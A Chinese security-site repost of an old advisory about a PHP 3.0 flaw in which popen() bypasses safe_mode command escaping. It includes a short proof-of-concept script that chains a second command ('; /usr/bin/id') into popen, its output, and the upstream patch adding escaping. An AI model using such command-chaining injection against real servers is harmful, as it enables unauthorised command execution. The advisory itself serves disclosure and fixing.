PHP3 &#039afe_mode' 失效漏洞_PHP应用_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

PHP3 'afe_mode' 失效漏洞

作者:黑客防线网安PHP维护基地 来源:黑客防线网安PHP维护基地 浏览次数:0

本篇关键词:漏洞失效 #include
黑客防线网安网讯:受影响的系统:  PHP 3.00    --------------------------------------------------------------------------------   描述:           PHP Version 3.0是一个HTML嵌入式脚本语言。其...
受影响的系统:  PHP 3.00  
   --------------------------------------------------------------------------------
   描述:
     
       PHP Version 3.0是一个HTML嵌入式脚本语言其大多数语法移植于C、Java和Perl并结合了
   PHP的特色这个语言可以让web开发者快速创建动态网页。
      
       因其执行在web服务器上并允许用户执行代码PHP内置了称为'safe_mode'的安全特性
   用于控制在允许PHP操作的webroot环境中执行命令。
      
       其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
   函数,此函数用于确认在webroot目录外部不能执行命令。
      
       在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
   以利用'popen'系统调用进行非法操作。
     
   --------------------------------------------------------------------------------
   测试程序:
     
   警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
     
   <?php
   $fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
   echo "$fp<br>n";
   while($line = fgets($fp, 1024)):
   printf("%s<br>n", $line);
   endwhile;
   pclose($fp);
   phpinfo();
   ?>
      
   输出结果如下:
      
   1
   total 53  
   -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
   uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
   and from the configuration values of phpinfo():
   safe_mode 0 1  
  
   --------------------------------------------------------------------------------
   建议:  
   Index: functions/file.c
   ===================================================================
   RCS file: /repository/php3/functions/file.c,v
   retrieving revision 1.229
   retrieving revision 1.230
   diff -u -r1.229 -r1.230
   --- functions/file.c 2000/01/01 04:31:15 1.229
   +++ functions/file.c 2000/01/03 21:31:31 1.230
   @@ -26,7 +26,7 @@
   | Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
   +----------------------------------------------------------------------+
   */
   -/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
   +/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
   #include "php.h"
   #include <stdio.h>
   @@ -51,6 +51,7 @@
   #include "safe_mode.h"
   #include "php3_list.h"
   #include "php3_string.h"
   +#include "exec.h"
   #include "file.h"
   #if HAVE_PWD_H
   #if MSVC5
  
   @@ -575,7 +576,7 @@
   pval *arg1, *arg2;
   FILE *fp;
   int id;
   - char *p;
   + char *p, *tmp = NULL;
   char *b, buf[1024];
   TLS_VARS;
      
   @@ -600,7 +601,11 @@
   } else {
   snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
   }
      
   - fp = popen(buf,p);
      
   +
   + tmp = _php3_escapeshellcmd(buf);
   + fp = popen(tmp,p);
   + efree(tmp); /* temporary copy, no longer necessary */
   +
   if (!fp) {
   php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
   RETURN_FALSE;  
  
    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-13731-1.html
网站维护教程更新时间:2012-03-30 04:56:33  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer